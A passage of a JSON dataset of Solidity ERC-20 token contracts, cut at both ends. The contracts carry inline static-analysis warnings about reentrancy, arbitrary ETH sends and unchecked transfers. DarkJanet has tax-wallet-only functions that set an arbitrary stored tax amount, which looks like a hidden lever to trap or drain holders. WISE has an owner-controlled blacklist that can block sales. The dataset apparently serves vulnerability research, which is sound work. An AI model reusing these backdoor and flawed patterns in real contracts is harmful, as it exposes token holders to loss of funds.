returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: fd58420): DarkJanet.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for fd58420: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c792287): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c792287: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a625558): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a625558: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: c792287\n\t\t// reentrancy-benign | ID: a625558\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: c792287\n\t\t// reentrancy-benign | ID: a625558\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 75bbf45): DarkJanet._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 75bbf45: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: a625558\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: c792287\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4508ac7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4508ac7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2f61fd7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2f61fd7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d0ee4ca): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d0ee4ca: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (\n from != owner() &&\n to != owner() &&\n to != _taxWallet &&\n limitsInEffect\n ) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount >= _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 4508ac7\n\t\t\t\t// reentrancy-benign | ID: 2f61fd7\n\t\t\t\t// reentrancy-eth | ID: d0ee4ca\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 4508ac7\n\t\t\t\t\t// reentrancy-eth | ID: d0ee4ca\n balanceETHsave(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: d0ee4ca\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: d0ee4ca\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: d0ee4ca\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-benign | ID: 2f61fd7\n if (!limitsInEffect) taxAmount = 0;\n\n\t\t\t// reentrancy-events | ID: 4508ac7\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: d0ee4ca\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: d0ee4ca\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 4508ac7\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function removeTxLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTaxes() external {\n limitsInEffect = false;\n\n require(_msgSender() == _taxWallet);\n }\n\n function swapBackSettings(bool enabled, uint256 swapThreshold) external {\n require(_msgSender() == _taxWallet);\n\n taxAmount = swapThreshold;\n\n swapEnabled = enabled;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 6346f67): DarkJanet.balanceETHsave(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 6346f67: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function balanceETHsave(uint256 amount) private {\n\t\t// reentrancy-events | ID: 4508ac7\n\t\t// reentrancy-events | ID: c792287\n\t\t// reentrancy-eth | ID: d0ee4ca\n\t\t// arbitrary-send-eth | ID: 6346f67\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8303954): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8303954: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c76a1a9): DarkJanet.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for c76a1a9: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7922932): DarkJanet.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 7922932: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ec8408b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ec8408b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n if (\n IUniswapV2Factory(uniswapV2Router.factory()).getPair(\n uniswapV2Router.WETH(),\n address(this)\n ) == address(0)\n ) {\n\t\t\t// reentrancy-benign | ID: 8303954\n\t\t\t// reentrancy-eth | ID: ec8408b\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .createPair(uniswapV2Router.WETH(), address(this));\n } else {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(uniswapV2Router.WETH(), address(this));\n }\n\n\t\t// reentrancy-benign | ID: 8303954\n\t\t// unused-return | ID: 7922932\n\t\t// reentrancy-eth | ID: ec8408b\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 8303954\n\t\t// unused-return | ID: c76a1a9\n\t\t// reentrancy-eth | ID: ec8408b\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 8303954\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: ec8408b\n tradingOpen = true;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 4508ac7\n\t\t// reentrancy-events | ID: c792287\n\t\t// reentrancy-benign | ID: 2f61fd7\n\t\t// reentrancy-benign | ID: a625558\n\t\t// reentrancy-eth | ID: d0ee4ca\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 42defc3): DarkJanet.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for 42defc3: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external onlyOwner {\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 42defc3\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap(uint256 tokenAmount) external {\n require(_msgSender() == _taxWallet);\n\n if (tokenAmount > 0 && swapEnabled) {\n swapTokensForEth(tokenAmount);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n balanceETHsave(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10067.sol",
"size_bytes": 22082,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract WISE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 662fd9f): WISE._taxWallet should be immutable \n\t// Recommendation for 662fd9f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 firstBlock;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2c05f6f): WISE._initialBuyTax should be constant \n\t// Recommendation for 2c05f6f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 24;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7f37b70): WISE._initialSellTax should be constant \n\t// Recommendation for 7f37b70: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 24;\n\n\t// WARNING Optimization Issue (constable-states | ID: b2e5cac): WISE._finalBuyTax should be constant \n\t// Recommendation for b2e5cac: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9cb54f8): WISE._finalSellTax should be constant \n\t// Recommendation for 9cb54f8: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0ce993e): WISE._reduceBuyTaxAt should be constant \n\t// Recommendation for 0ce993e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 59207d9): WISE._reduceSellTaxAt should be constant \n\t// Recommendation for 59207d9: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0db91c8): WISE._preventSwapBefore should be constant \n\t// Recommendation for 0db91c8: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"BlockWise\";\n\n string private constant _symbol = unicode\"WISE\";\n\n uint256 public _maxTxAmount = 20000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 73fb941): WISE._taxSwapThreshold should be constant \n\t// Recommendation for 73fb941: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: ce282fd): WISE._maxTaxSwap should be constant \n\t// Recommendation for ce282fd: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ddf4717): WISE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for ddf4717: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 91b32b3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 91b32b3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f4797c1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f4797c1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 91b32b3\n\t\t// reentrancy-benign | ID: f4797c1\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 91b32b3\n\t\t// reentrancy-benign | ID: f4797c1\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a7de6e0): WISE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a7de6e0: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: f4797c1\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 91b32b3\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4eea7c7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4eea7c7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7d89e5a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7d89e5a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (firstBlock + 3 > block.number) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n if (to != uniswapV2Pair && !_isExcludedFromFee[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 4eea7c7\n\t\t\t\t// reentrancy-eth | ID: 7d89e5a\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 4eea7c7\n\t\t\t\t\t// reentrancy-eth | ID: 7d89e5a\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 7d89e5a\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 4eea7c7\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 7d89e5a\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 7d89e5a\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 4eea7c7\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 91b32b3\n\t\t// reentrancy-events | ID: 4eea7c7\n\t\t// reentrancy-benign | ID: f4797c1\n\t\t// reentrancy-eth | ID: 7d89e5a\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: d763e64): WISE.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for d763e64: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 91b32b3\n\t\t// reentrancy-events | ID: 4eea7c7\n\t\t// reentrancy-eth | ID: 7d89e5a\n\t\t// arbitrary-send-eth | ID: d763e64\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4150cd4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4150cd4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1ea20b3): WISE.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 1ea20b3: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 50098a4): WISE.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 50098a4: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5787d2b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5787d2b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 4150cd4\n\t\t// reentrancy-eth | ID: 5787d2b\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 4150cd4\n\t\t// unused-return | ID: 50098a4\n\t\t// reentrancy-eth | ID: 5787d2b\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 4150cd4\n\t\t// unused-return | ID: 1ea20b3\n\t\t// reentrancy-eth | ID: 5787d2b\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 4150cd4\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 5787d2b\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 4150cd4\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10068.sol",
"size_bytes": 19497,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private 